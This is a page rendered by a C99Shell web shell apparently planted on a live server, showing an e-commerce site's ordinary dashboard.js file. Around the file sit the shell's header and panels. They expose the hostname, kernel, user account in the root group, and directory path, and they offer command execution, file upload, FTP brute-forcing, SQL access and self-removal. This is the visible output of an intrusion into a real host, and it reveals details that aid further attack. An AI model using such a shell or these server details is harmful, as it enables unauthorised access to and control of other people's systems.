!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/public/dist/js/custom/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     dashboard.js (16.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';
$.fn.isInViewport = function () {
    if (this.length == 0) {
        return false;
    }
    return this[0].getBoundingClientRect().top < $(window).height();
};

class AjaxRequest {
    // Fetch data from the url
    static async call(url, params = {}) {
        let options = Object.assign(
            {
                method: "GET", // *GET, POST, PUT, DELETE, etc.
                headers: {
                    "Content-Type": "application/json",
                    Accept: "application/json",
                },
            },
            params
        );

        let data = await fetch(url, options)
            .then((response) => response.json())
            .then((data) => data.response);
        return data;
    }
}

class Dashboard {
    element;
    fetched = false;
    links = [];
    params = {};

    static getObject() {
        // Returns the class object
        if (this.myself == null) {
            // If object is not already available then create a new one
            this.myself = new this();
        }
        return this.myself;
    }

    async update(url) {
        this.fetched = true;
        let data = await AjaxRequest.call(url, this.params);
        // Make api call to fetch data
        if (this.getStatus(data)) {
            // render 5 row in the table
            this.renderData(this.element, data);
        } else {
            throw new Error(this.getErrMessage(data));
        }
    }

    dataAlreadyFetched(url) {
        if (dashboardAjaxData[url] == undefined) {
            return false;
        }
        return true;
    }

    getFromFetchedData(url) {
        return dashboardAjaxData[url];
    }

    sliceData(data, count = 5) {
        return data.slice(0, count);
    }

    // Hide place holder and show the data
    switchView() {
        this.element.find(".placeholder-data").addClass("d-none");
        this.element.find(".original-data").removeClass("d-none");
    }

    sync(url) {
        if (!this.hasObject()) {
            return;
        }
        if (!this.fetched && this.element.isInViewport() && url) {
            this.update(url);
        }
    }

    hasObject() {
        if (this.element == undefined || this.element.length < 1) {
            return false;
        }
        return true;
    }

    renderData() {
        throw new Error("Must implement renderData() method.");
    }

    getStatus(data) {
        if (data.status && data.status.code && data.status.code == 200) {
            return true;
        }
        return false;
    }

    getErrMessage(data) {
        return data.status.message;
    }

    formatString(str, len = 20, ending = "...") {
        if (str.length > len - ending.length) {
            return str.substr(0, len) + ending;
        }
        return str;
    }

    formatUrl(url, param, key = null) {
        if (!key) {
            return url.replace("__id__", param);
        }
        return url.replace(key, param);
    }

    addLink(url, key) {
        this.links[key] = url;
        return this;
    }

    getLink(type, param, key = null) {
        if (this.links[type] == undefined) {
            return "#";
        }

        if (!key) {
            return this.links[type].replace("__id__", param);
        }
        return this.links[type].replace(key, param);
    }

    setParams(params) {
        this.params = params;
        return this;
    }
    resetFetch() {
        this.fetched = false;
        return this;
    }
}



class DashReport extends Dashboard {
    static myself = null;
    constructor() {
        super();
        super.element = $("#dashboard-reports");
    }

    // render table row from the data
    renderData(parent, data) {
        data = super.sliceData(data.records);
        let tr = "";
        data.forEach((item) => {
            tr += "<tr class='unread'><td><img></td>";
            tr += "<td><h6>" + item.title.substr(0, 20) + "</H6></td>";
            tr += '<td class=""><h6>11 MAY 12:56</h6></td>';
            tr +=
                '<td class=""><a href="#!" class="label bg-c-blue text-white f-12">View</a></td>';
            tr += "</tr>";
        });
        parent.find(".original-data").append(tr);
        super.switchView();
    }
}

class VendorStats extends Dashboard {
    static myself = null;
    constructor() {
        super();
        super.element = $("#vendor-stat");
    }

    // render table row from the data
    renderData(parent, data) {
        data = super.sliceData(data.records);
        let tr = "";
        data.forEach((item) => {
            if (item.name) {
                tr +=
                    '<tr class="unread"><td><h6 class="mb-0" data-url="' +
                    item.url +
                    '">' +
                    item.name.substr(0, 20) +
                    "</H6></td>";
                tr += '<td class="text-center">';
                for (let index = 1; index <= 5; index++) {
                    if (item.ratings > 0) {
                        tr +=
                            '<span><i class="fa fa-star f-12 text-c-yellow"></i></span>';
                    } else {
                        tr +=
                            '<span"><i class="fa fa-star f-12 star-inactive"></i></a>';
                    }
                    item.ratings--;
                }
                tr += "</td>";
                tr +=
                    '<td><h6 class="text-center mb-0">' +
                    item.orders +
                    "</h6></td>";
                tr +=
                    '<td><h6 class="text-center mb-0">' +
                    item.sales +
                    "</h6></td>";
                tr +=
                    '<td class="text-center"><a href="' +
                    super.getLink("edit", item.id) +
                    '" class="label view-color-btn f-12 text-2c">' +
                    jsLang("VIEW") +
                    "</a></td>";
                tr += "</tr>";
            }
        });

        if (data.length == 0) {
            parent.find(".original-data").siblings('thead').remove();
            tr = `<tr class="border-0"><td colspan="2" class="border-0">${jsLang('No data found.')}</td></tr>`
        }

        parent.find(".original-data").append(tr);
        super.switchView();
    }
}

class MostVisitedReport extends Dashboard {
    static myself = null;
    constructor() {
        super();
        super.element = $("#most-visited-page");
    }

    renderData(parent, data) {
        data = super.sliceData(data.records);
        let tr = "";
        data.forEach((item) => {
            tr += '<tr class="unread">';
            tr += "<td><h6 class='mb-0'>" + item.title.substr(0, 20) + "</h6></td>";
            tr +=
                '<td class="text-right"><h6 class="mb-0">' +
                Math.floor(Math.random() * 100 + 50) +
                "</h6></td>";
            tr += "</tr>";
        });
        parent.find(".original-data").append(tr);
        super.switchView();
    }
}

class CustomerComplain extends Dashboard {
    static myself = null;
    constructor() {
        super();
        super.element = $("#customer-complain");
    }

    renderData(parent, data) {
        super.switchView();
    }
}

class MostActiveUsers extends Dashboard {
    static myself = null;
    constructor() {
        super();
        super.element = $("#most-active-users");
    }

    isVendor = document.getElementById('vendor_dashboard_container');

    admin(data) {
        let row = '';
        data.forEach((item) => {
            row += `
                <tr class='unread'>
                    <td><a class="mb-0" target="_blank" href="${item.profile}">${super.formatString(item.name)}</a></td>
                    <td class="text-right">${item.total}</td>
                </tr>
            `;
        });

        return row;
    }

    vendor(data) {
        let row = '';
        data.forEach((item) => {
            row += `
                <tr class='unread'>
                    <td><span class=" mb-0">${super.formatString(item.name)}</span></td>
                    <td class="text-right">${item.total}</td>
                </tr>
            `;
        });

        return row
    }

    renderData(parent, data) {
        data = super.sliceData(data.records);
        let tr = "";

        if (this.isVendor) {
            tr = this.vendor(data);
        } else {
            tr = this.admin(data);
        }

        if (data.length == 0) {
            parent.find(".original-data").siblings('thead').remove();
            tr = `<tr class="border-0"><td colspan="2" class="border-0">${jsLang('No data found.')}</td></tr>`
        }

        parent.find(".original-data").append(tr);
        super.switchView();
    }
}

class MostSoldProducts extends Dashboard {
    static myself = null;
    constructor() {
        super();
        super.element = $("#most-sold-products");
    }

    renderData(parent, data) {
        data = super.sliceData(data.records);
        let tr = "";
        data.forEach((item) => {
            tr += "<tr class='unread'>";
            tr += `<td><a class='mb-0' href='${
                    item.url
                }' target="${item.url == 'javascript:void(0)' ? '_self' : '_blank'}">${super.formatString(item.name)}</a></td>`;
            tr += '<td class="text-right">' + item.total + " </td>";
            tr += "</tr>";
        });

        if (data.length == 0) {
            parent.find(".original-data").siblings('thead').remove();
            tr = `<tr class="border-0"><td colspan="2" class="border-0">${jsLang('No data found.')}</td></tr>`
        }
        parent.find(".original-data").append(tr);
        super.switchView();
    }
}

var ctx = $('#chart-area-2');
ctx.height(335);
class SaleOfThisMonth extends Dashboard {
    static myself = null;
    constructor() {
        super();
        super.element = $("#sale-of-this-month");
    }

    renderData(parent, data) {
        this.lineChart(parent, data);
        super.switchView();
    }

    lineChart = (parent, data) => {
        parent.find(".placeholder").addClass("d-none");
        let chartCanvas = parent.find("#chart-area-2");
        chartCanvas.removeClass("d-none");
        this.updateChart(chartCanvas[0], data.records);
    };

    dayMonth(monthNumber) {
        const date = new Date();
        date.setMonth(monthNumber - 1);

        let year = date.getFullYear().toLocaleString(localeString);

        if (monthNumber <= 0) {
            monthNumber += 12;
        }

        return date.toLocaleString(localeString, {
          month: 'short',
        }) + ' ' + year;
    }

    monthToColor(month) {
        var color;
        if (month % 3 == 0) {
            color = "rgba(252, 202, 25, 1)"
        } else if (month % 3 == 1) {
            color = "rgba(227, 147, 255, 1)"
        } else {
            color = "rgba(0, 223, 255, 1)"
        }

        return color
    }

    updateChart = (chartCanvas, data) => {
        var bar = chartCanvas.getContext("2d");
        var dataChart = [];

        for (const key in data.values) {
            var theme_color = bar.createLinearGradient(0, 0, 500, 0);
            theme_color.addColorStop(1, this.monthToColor(key));
            let obj = {
                label: this.dayMonth(key),
                data: data.values[key],
                borderWidth: 4,
                borderColor: theme_color,
                backgroundColor: theme_color,
                hoverborderColor: theme_color,
                hoverBackgroundColor: theme_color,
                tension: 0.1,
            }
            dataChart.push(obj);
        }

        var data1 = {
            labels: data.dates,
            datasets: dataChart
        };
        var myBarChart = new Chart(bar, {
            type: "line",
            data: data1,
            responsive: true,
            fill: true,
            options: {
                scales: {
                    y: {
                        title: {
                            display: true,
                            text: jsLang('Sales'),
                        },
                    },
                },
            },
        });
    };
}

class VendorReq extends Dashboard {
    static myself = null;
    constructor() {
        super();
        super.element = $("#vendor-request");
    }

    // render table row from the data
    renderData(parent, data) {
        data = super.sliceData(data.records);
        let tr = "";
        let counter = 1;
        data.forEach((user) => {
            tr += '<tr class="unread">';
            tr +=
                '<td> <img class="rounded-circle w-30p" src="' +
                user.file_url +
                '" alt="activity-user"> </td>';
            tr +=
                '<td><h6 class="mb-0" data-url="' +
                user.url +
                '">' +
                user.name.substr(0, 20) +
                "</h6></td>";
            tr +=
                '<td class="text-center"> <h6 class="text-muted mb-0">' +
                user.created_at +
                "</h6></td>";
            tr +=
                '<td class="text-right"> <a target="_blank" href="' +
                user.view +
                '" class="label view-color-btn text-2c f-12">' +
                jsLang("View") +
                '</a><a class="label f-12 text-white accept-color-btn" target="_blank" href="' +
                user.view +
                '">' +
                jsLang("Accept") +
                '</a><a class="label text-white f-12 reject-color-btn" target="_blank" href="' +
                user.view +
                '">' +
                jsLang("Reject") +
                "</a></td>";
            tr += "</tr>";
        });

        if (data.length == 0) {
            parent.find(".original-data").siblings('thead').remove();
            tr = `<tr class="border-0"><td colspan="2" class="border-0">${jsLang('No data found.')}</td></tr>`
        }

        parent.find(".original-data").append(tr);
        super.switchView();
    }
}

$(document).ready(function () {
    const checkStatus = () => {
        DashReport.getObject().sync();
        MostVisitedReport.getObject().sync();
        CustomerComplain.getObject().sync();
        VendorStats.getObject()
            .addLink(vendorEdiUrl, "edit")
            .sync(vendorStatsUrl);
        MostActiveUsers.getObject().sync(mostActiveUsersUrl);
        MostSoldProducts.getObject().sync(mostSoldProductsUrl);
        SaleOfThisMonth.getObject().sync(salesOfThisMonth);
        if (typeof vendorReqsUrl !== 'undefined') {
            VendorReq.getObject()
            .addLink(vendorReqsUrl, "edit")
            .sync(vendorReqsUrl);
        }
    };

    $(document).on('scroll', () => {
        checkStatus();
    });

    $(document).on("click", ".daily", function (e) {
        e.preventDefault();
        switchReload();
        VendorStats.getObject().resetFetch().sync(vendorStatsUrlDaily);
    });

    $(document).on("click", ".weekly", function (e) {
        e.preventDefault();
        switchReload();
        VendorStats.getObject().resetFetch().sync(vendorStatsUrlWeekly);
    });

    $(document).on("click", ".monthly", function (e) {
        e.preventDefault();
        switchReload();
        VendorStats.getObject().resetFetch().sync(vendorStatsUrlMonthly);
    });

    $(document).on("click", ".yearly", function (e) {
        e.preventDefault();
        switchReload();
        VendorStats.getObject().resetFetch().sync(vendorStatsUrlYearly);
    });

    $(document).on("click", ".vendor-req", function (e) {
        e.preventDefault();
        let url = $(this).attr("data-url");
        VendorReqSwitchReload();
        VendorReq.getObject().resetFetch().sync(url);
    });

    function switchReload() {
        $(".placeholder-data-sta").removeClass("d-none");
        $(".original-data-sta").addClass("d-none");
        $(".original-data-sta").empty();
    }

    function VendorReqSwitchReload() {
        $(".placeholder-data-req").removeClass("d-none");
        $(".original-data-req").addClass("d-none");
        $(".original-data-req").empty();
    }

    checkStatus();
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--